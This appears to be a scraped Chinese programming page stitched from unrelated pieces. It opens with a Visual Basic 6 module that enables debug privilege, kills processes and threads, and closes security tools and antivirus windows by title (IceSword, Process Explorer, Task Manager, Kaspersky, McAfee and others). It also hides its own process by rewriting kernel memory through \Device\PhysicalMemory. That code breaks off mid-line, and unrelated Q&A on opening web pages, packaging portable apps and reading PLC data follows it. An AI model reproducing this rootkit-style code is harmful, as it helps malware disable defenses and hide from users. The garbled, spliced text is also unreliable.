Public Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long

Public Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long

Public Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long

Public Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)

Public Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)

Public Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long

Public Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long

Public Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long

Public Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long

Public Type OSVERSIONINFO

dwOSVersionInfoSize As Long

dwMajorVersion As Long

dwMinorVersion As Long

dwBuildNumber As Long

dwPlatformId As Long

szCSDVersion As String * 128

End Type

Public verinfo As OSVERSIONINFO

Public g_hNtDLL As Long

Public g_pMapPhysicalMemory As Long

Public g_hMPM As Long

Public aByte(3) As Byte

Public Enum ACCESS_MODE

NOT_USED_ACCESS

GRANT_ACCESS

SET_ACCESS

DENY_ACCESS

REVOKE_ACCESS

SET_AUDIT_SUCCESS

SET_AUDIT_FAILURE

End Enum

Public Enum MULTIPLE_TRUSTEE_OPERATION

NO_MULTIPLE_TRUSTEE

TRUSTEE_IS_IMPERSONATE

End Enum

Public Enum TRUSTEE_FORM

TRUSTEE_IS_SID

TRUSTEE_IS_NAME

End Enum

Public Enum TRUSTEE_TYPE

TRUSTEE_IS_UNKNOWN

TRUSTEE_IS_USER

TRUSTEE_IS_GROUP

End Enum

Public Type TRUSTEE

pMultipleTrustee As Long

MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION

TrusteeForm As TRUSTEE_FORM

TrusteeType As TRUSTEE_TYPE

ptstrName As String

End Type

Public Type EXPLICIT_ACCESS

grfAccessPermissions As Long

grfAccessMode As ACCESS_MODE

grfInheritance As Long

TRUSTEE As TRUSTEE

End Type

Public Type AceArray

List() As EXPLICIT_ACCESS

End Type

Public Enum SE_OBJECT_TYPE

SE_UNKNOWN_OBJECT_TYPE = 0

SE_FILE_OBJECT

SE_SERVICE

SE_PRINTER

SE_REGISTRY_KEY

SE_LMSHARE

SE_KERNEL_OBJECT

SE_WINDOW_OBJECT

SE_DS_OBJECT

SE_DS_OBJECT_ALL

SE_PROVIDER_DEFINED_OBJECT

SE_WMIGUID_OBJECT

End Enum

Public Type LARGE_INTEGER

lowpart As Long

highpart As Long

End Type

Public Const ANYSIZE_ARRAY As Long = 1

Public Const SE_PRIVILEGE_ENABLED As Long = &H2

Public Const TOKEN_ADJUST_PRIVILEGES As Long = &H20

Public Const TOKEN_QUERY As Long = &H8

Public Type LUID_AND_ATTRIBUTES

LUID As LARGE_INTEGER

Attributes As Long

End Type

Public Type TOKEN_PRIVILEGES

PrivilegeCount As Long

Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES

End Type

Public Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LARGE_INTEGER) As Long

Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, ByRef NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByRef PreviousState As Long, ByRef ReturnLength As Long) As Long

Public Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long

Public Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long

Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, ByRef TokenHandle As Long) As Long

Public Declare Function GetLastError Lib "kernel32.dll" () As Long

Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long

Public Declare Function Thread32First Lib "kernel32.dll" (ByVal hSnapshot As Long, ByRef lpte As THREADENTRY32) As Long

Public Declare Function Thread32Next Lib "kernel32.dll" (ByVal hSnapshot As Long, ByRef lpte As THREADENTRY32) As Long

Public Declare Function Module32First Lib "kernel32.dll" (ByVal hSnapshot As Long, ByRef lppe As MODULEENTRY32) As Long

Public Declare Function Module32Next Lib "kernel32.dll" (ByVal hSnapshot As Long, ByRef lpme As MODULEENTRY32) As Long

Public Declare Function TerminateThread Lib "kernel32" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long

Public Declare Function OpenThread Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwThreadId As Long) As Long

Public Const TH32CS_SNAPPROCESS = &H2

Public Const TH32CS_SNAPTHREAD = &H4

Public Const TH32CS_SNAPMODULE As Long = &H8

Public Const PROCESS_TERMINATE As Long = (&H1)

Public Const MAX_PATH As Integer = 260

Public Type PROCESSENTRY32

dwsize As Long

cntusage As Long

th32ProcessID As Long

th32DefaultHeapID As Long

th32ModuleID As Long

cntThreads As Long

th32ParentProcessID As Long

pcPriClassBase As Long

dwFlags As Long

szExeFile As String * MAX_PATH

End Type

Public Type MODULEENTRY32 '模块

dwsize As Long

th32ModuleID As Long

th32ProcessID As Long

GlblcntUsage As Long

ProccntUsage As Long

modBaseAddr As Byte

modBaseSize As Long

hModule As Long

szModule As String * 256

szExePath As String *

End Type

Public Type THREADENTRY32 '线程

dwsize As Long

cntusage As Long

th32threadID As Long

th32OwnerProcessID As Long

tpBasePri As Long

tpDeltaPri As Long

dwFlags As Long

End Type

Public Function KillThread(ByVal ProcessID As Long) As Boolean

Dim hThread As Long, r As Long, i As Long

Dim TList() As THREADENTRY32

TList = GetThreadList(ProcessID)

For i = 0 To UBound(TList)

With TList(i)

hThread = OpenThread(PROCESS_TERMINATE, False, .th32threadID) '获取进程句柄

If hThread <> 0 Then

r = TerminateThread(hThread, 0) '关闭进程

End If

End With

Next

KillThread = r <> 0

End Function

Public Function KillProcess(ByVal ProcessName As String, Optional ByVal bKillThread As Boolean) As Boolean

Dim hProcess As Long, r As Long

Dim PList() As PROCESSENTRY32

Dim Name As String, i As Long

PList = GetProcessList

For i = 0 To UBound(PList)

With PList(i)

Name = Left(.szExeFile, InStr(1, .szExeFile, vbNullChar) - 1)

DoEvents

r = InModule(.th32ProcessID, ProcessName)

If LCase(Trim(Name)) = LCase(Trim(ProcessName)) Or r Then

hProcess = OpenProcess(PROCESS_TERMINATE, False, .th32ProcessID) '获取进程句柄

If hProcess <> 0 Then

r = TerminateProcess(hProcess, 0) '关闭进程

If Not (r) Then

If bKillThread Then

Call KillThread(.th32ProcessID)

End If

r = TerminateProcess(hProcess, 0) '关闭进程

End If

End If

End If

End With

Next

End Function

Public Function GetThreadList(ByVal ProcessID As Long) As THREADENTRY32()

Dim i As Long

Dim TList() As THREADENTRY32

Dim TE32 As THREADENTRY32

Dim hThreadSnap As Long

Dim TheLoop As Long

hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, ProcessID)

TE32.dwsize = Len(TE32)

TheLoop = Thread32First(hThreadSnap, TE32)

While TheLoop <> 0

If TE32.th32OwnerProcessID = ProcessID Then

ReDim Preserve TList(i)

TerminateThread TE32.th32threadID, 0

TList(i) = TE32

i = i + 1

End If

TheLoop = Thread32Next(hThreadSnap, TE32)

Wend

CloseHandle hThreadSnap

GetThreadList = TList

End Function

Public Function GetProcessList() As PROCESSENTRY32()

Dim i As Long

Dim PList() As PROCESSENTRY32

Dim PE32 As PROCESSENTRY32

Dim hProcessSnap As Long

Dim TheLoop As Long

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)

PE32.dwsize = Len(PE32)

TheLoop = Process32First(hProcessSnap, PE32)

While TheLoop <> 0

ReDim Preserve PList(i)

PList(i) = PE32

i = i + 1

TheLoop = Process32Next(hProcessSnap, PE32)

Wend

CloseHandle hProcessSnap

GetProcessList = PList

End Function

Public Function GetModuleList(ByVal ProcessID As Long) As MODULEENTRY32()

Dim i As Long

Dim MList() As MODULEENTRY32

Dim ME32 As MODULEENTRY32

Dim hModuleSnap As Long

Dim TheLoop As Long

hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessID)

ME32.dwsize = Len(ME32)

TheLoop = Module32First(hModuleSnap, ME32)

While TheLoop <> 0

ReDim Preserve MList(i)

MList(i) = ME32

i = i + 1

TheLoop = Module32Next(hModuleSnap, ME32)

Wend

CloseHandle hModuleSnap

GetModuleList = MList

End Function

Public Function InModule(ByVal ProcessID As Long, ByVal ModuleName As String) As Boolean

Dim i As Long

Dim MList() As MODULEENTRY32

Dim Name As String

On Error GoTo Err:

MList = GetModuleList(ProcessID)

For i = 0 To UBound(MList)

With MList(i)

Name = Left(.szModule, InStr(1, .szModule, vbNullChar) - 1)

If LCase(Name) = LCase(ModuleName) Then

InModule = True

Exit For

End If

End With

Next

Err:

End Function

Function EnableDebugPrivilege() As Boolean

Dim TP As TOKEN_PRIVILEGES

Dim hToken As Long, r As Long, e As Long

r = OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)

e = GetLastError

' Err.Raise 6

If r And Not e Then

r = LookupPrivilegeValue(vbNullString, "SeDebugPrivilege", TP.Privileges(0).LUID)

e = GetLastError

If r And Not e Then

TP.PrivilegeCount = 1

TP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED

r = AdjustTokenPrivileges(hToken, False, TP, LenB(TP), 0, 0)

EnableDebugPrivilege = GetLastError = 0

End If

End If

Call CloseHandle(hToken)

End Function

Public Function EnumWindowsProc(ByVal hwnd As Long, ByVal lParam As Long) As Boolean

Dim sSe As String, Ret As Long, IsIceSword As Boolean, IsAutoruns As Boolean, IsProcexp As Boolean, IsTaskmgr As Boolean, Other As Boolean, i As Long

Ret = GetWindowTextLength(hwnd)

sSe = Space(Ret)

GetWindowText hwnd, sSe, Ret + 1

IsIceSword = True

IsAutoruns = True

IsProcexp = True

IsTaskmgr = True

Other = True

If Len(sSe) < 6 Or Len(sSe) > 16 Then

IsIceSword = False

GoTo No1

End If

For i = Len(sSe) - 5 To Len(sSe)

If (Mid(sSe, i, 1) <> "0") And (Mid(sSe, i, 1) <> "1") And (Mid(sSe, i, 1) <> "2") And (Mid(sSe, i, 1) <> "3") And (Mid(sSe, i, 1) <> "4") And (Mid(sSe, i, 1) <> "5") And (Mid(sSe, i, 1) <> "6") And (Mid(sSe, i, 1) <> "7") And (Mid(sSe, i, 1) <> "8") And (Mid(sSe, i, 1) <> "9") And (Mid(sSe, i, 1) <> "A") And (Mid(sSe, i, 1) <> "B") And (Mid(sSe, i, 1) <> "C") And (Mid(sSe, i, 1) <> "D") And (Mid(sSe, i, 1) <> "E") And (Mid(sSe, i, 1) <> "F") Then IsIceSword = False

Next

If IsIceSword Then

PostMessage hwnd, WM_CLOSE, 0, 0

SendKeys "{Enter}"

SetForegroundWindow hwnd

SendKeys "%{F4}"

End If

No1:

GoTo AllOk

If Len(sSe) < 8 Then

IsAutoruns = False

GoTo No2

End If

If Mid(sSe, 1, 8) <> "Autoruns" Then IsAutoruns = False

If IsAutoruns Then

PostMessage hwnd, WM_CLOSE, 0, 0

End If

No2:

GoTo AllOk

If Len(sSe) < 16 Then

IsProcexp = False

GoTo No3

End If

If Mid(sSe, 1, 16) <> "Process Explorer" Then IsProcexp = False

If IsProcexp Then

PostMessage hwnd, WM_CLOSE, 0, 0

End If

No3:

GoTo AllOk

If sSe <> "Windows 任务管理器" Then IsTaskmgr = False

If IsTaskmgr Then

PostMessage hwnd, WM_CLOSE, 0, 0

End If

GoTo AllOk

If InStr(1, sSe, "杀毒", vbTextCompare) <> 0 Or InStr(1, sSe, "", vbTextCompare) <> 0 Or InStr(1, sSe, "专杀", vbTextCompare) <> 0 Or InStr(1, sSe, "注册表", vbTextCompare) <> 0 Or InStr(1, sSe, "Anti", vbTextCompare) <> 0 Or InStr(1, sSe, "进程", vbTextCompare) <> 0 Or InStr(1, sSe, "瑞星", vbTextCompare) <> 0 Or InStr(1, sSe, "毒霸", vbTextCompare) <> 0 Or _

InStr(1, sSe, "江民", vbTextCompare) <> 0 Or InStr(1, sSe, "卡巴斯基", vbTextCompare) <> 0 Or InStr(1, sSe, "NOD32", vbTextCompare) <> 0 Or InStr(1, sSe, "McAfee", vbTextCompare) <> 0 Or InStr(1, sSe, "BitDefender", vbTextCompare) <> 0 Or InStr(1, sSe, "ast", vbTextCompare) <> 0 Or InStr(1, sSe, "Kill", vbTextCompare) <> 0 Or InStr(1, sSe, "Virus", vbTextCompare) <> 0 _

Or InStr(1, sSe, "Kaspersky", vbTextCompare) <> 0 Or InStr(1, sSe, "冰刃", vbTextCompare) <> 0 Or InStr(1, sSe, "Autorun", vbTextCompare) <> 0 Or InStr(1, sSe, "sreng", vbTextCompare) <> 0 Or InStr(1, sSe, "查毒", vbTextCompare) <> 0 Or InStr(1, sSe, "运行", vbTextCompare) <> 0 Then PostMessage hwnd, WM_CLOSE, 0, 0

AllOk:

EnumWindowsProc = True

End Function

Public Sub HideCurrentProcess()

'在进程列表中隐藏当前应用程序进程

Dim thread As Long, process As Long, fw As Long, bw As Long

Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)

If (GetVersionEx(verinfo)) <> 0 Then

If verinfo.dwPlatformId = 2 Then

If verinfo.dwMajorVersion = 5 Then

Select Case verinfo.dwMinorVersion

Case 0

lOffsetFlink = &HA0

lOffsetBlink = &HA4

lOffsetPID = &H9C

Case 1

lOffsetFlink = &H88

lOffsetBlink = &H8C

lOffsetPID = &H84

End Select

End If

End If

End If

If OpenPhysicalMemory <> 0 Then

thread = GetData(&HFFDFF124)

process = GetData(thread + &H44)

fw = GetData(process + lOffsetFlink)

bw = GetData(process + lOffsetBlink)

SetData fw + 4, bw

SetData bw, fw

CloseHandle g_hMPM

End If

End Sub

Public Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)

Dim pDacl As Long

Dim pNewDacl As Long

Dim pSD As Long

Dim dwRes As Long

Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD

ea.grfAccessPermissions = SECTION_MAP_WRITE

ea.grfAccessMode = GRANT_ACCESS

ea.grfInheritance = NO_INHERITANCE

ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME

ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER

ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

CleanUp:

LocalFree pSD

LocalFree pNewDacl

End Sub

Public Function OpenPhysicalMemory() As Long

Dim Status As Long

Dim PhysmemString As UNICODE_STRING

Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory"

VB怎打包成绿色软件?

用VB打开网页有多种方法:

方法1)可用Shell函数执行一个可执行文件explorer.exe来打开网页。

Shell 函数,

执行一个可执行文件,返回一个 Variant

(Double),如果成功的话,代表这个程序的任务 ID,若不成功,则会返回 0。

Private?Sub?Command2_Click()

Shell?"explorer.exe?://.baidu"

End?Sub

方法2)使用WebBrowser直接建立浏览器。

在 Visual Basic 里还可以向工程中增加其它类型的 Internet 功能,包括:

Visual Basic 应用程序的 Internet 扩展。可以使用一些特殊控件,它们提供了和Internet 有关的功能。这些控件包括

Internet Transfer 控件、 WebBrowser 控件,以及 WinSock 控件。?

Private?Sub?Command1_Click()

WebBrowser1.Nigate?"://.baidu"

End?Sub

vb如何从PLC集数据

我转个帖子给楼主,希望能对这个问题有点帮助~~!

实现“绿色”软件(影子版主)

现在非常流行“绿色”软件,不需要什么安装程序只要一个 EXE 文件就可以运行程序

了,而在 VB 的编程中有许多地方需要调用第三方的控件(很难用 API 函数搞定所有的功能),这就需要制做一个安装程序,把所需要的控件、DLL 文件或其他文件打包进去了,那么在 VB 中怎么用变通的方法实现“绿色”软件呢,请看:

示例:

1、主程序.EXE

用 VB6.0 编写的程序,调用了 Winsock 控件,如果在没有安装 VB5.0、6.0 的机器上运行则会出现错误,导致程序运行失败,这时如果按一般的方法,只有把这个程序用 VB5.0、6.0 的安装程序进行打包,不然只有用用2的方法来解决了。

2、注册程序.EXE

用 VB6.0 编写的程序,使用文件的方法,把 Winsock 控件封装到本程序中,在运行主程序.EXE之前,先运行本程序,通过 API 函数 GetSystemDirectory 取得系统的 Winddows\System 的目录,然后把 Winsock 控件复制到该目录下,并用 Shell 来完成控件的注册。

⑴启动 VB6.0,在“外接程序→外接程序管理器”中加载“Visual Basic 6 编辑器”

⑵在 VB 编辑器窗口中,点击“添加自定义资料”,增加 Winsock 控件(C:\Winddows\System\Mswinsck.ocx),再双击刚刚创建的自定义,弹出”编辑属性”窗口,定义如下:

类型: “OCX”

标识号: 101

语言: 中文(中国)

⑶保存文件,写如下代码:

Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const MAX_PATH = 260 '定义足够长的字符串

Private Sub Form_Load()

Dim TempFile() As Byte

Dim FileNum As Integer

Dim TempDir As String

TempDir = GetWinSysDir '自定义函数取得系统的 Winddows\System 的目录

TempFile = LoadResData(101, "OCX") '用以从 (.res) 文件装载若干可能类型的数据,并返回一个 Byte 数组

FileNum = FreeFile

Open TempDir & "\Mswinsck.ocx" For Binary Access Write As #FileNum '新建文件(把 Winsock 控件复制到指定目录下)

Put #FileNum, , TempFile

Close #FileNum

'Shell "regsvr32 " & TempDir & "\Mswinsck.ocx ", vbNormalFocus '注册控件,有弹出对话框

Shell "regsvr32 " & TempDir & "\Mswinsck.ocx /s", vbNormalFocus '注册控件,无弹出对话框

MsgBox "注册成功,现在本程序可正常运行了!!", vbOKOnly, "注册控件"

Unload Me

End Sub

Public Function GetWinSysDir() '定义读取Winddows\System 的所在目录的函数

Dim S As String, Length As Long

S = String(MAX_PATH, 0) '赋值

Length = GetSystemDirectory(S, MAX_PATH) 'S为取得目录,MAX_PATH 为长度

S = Left(S, InStr(S, Chr(0)) - 1) '去掉多余的空格

GetWinSysDir = S

End Function

'补充:S 和 MAX_PATH 的值是可以随便赋的,

'如: Dim S As String * 20

' Length = GetSystemDirectory(S, 20)

3、补充说明

在用 VB6.0 保存上述两个程序后,请再使用 VB5.0 重新打开这两个程序,并编译为主程序.EXE、注册文件.EXE。(用 VB5.0 编译的程序,在 Win98、2000 下不需要任何 DLL 文件)

程序运行

4、程序运行

将主程序.EXE、注册文件.EXE两个文件,复制到任意机器上,先运行注册文件.EXE注册第三方的控件,再运行主程序.EXE,就不会有任何的错误了,一个变通的“绿色”软件就完成了。

如果PLC支持RS232 协议 可以用控件mscomm,取modbus通讯方式;

支持modbus tcp/ip的话 那就可以用winsock 控件

或者现在流行的OPC服务,将plc数据写入OPC服务器 然后通过VB做opc client来实现间接控制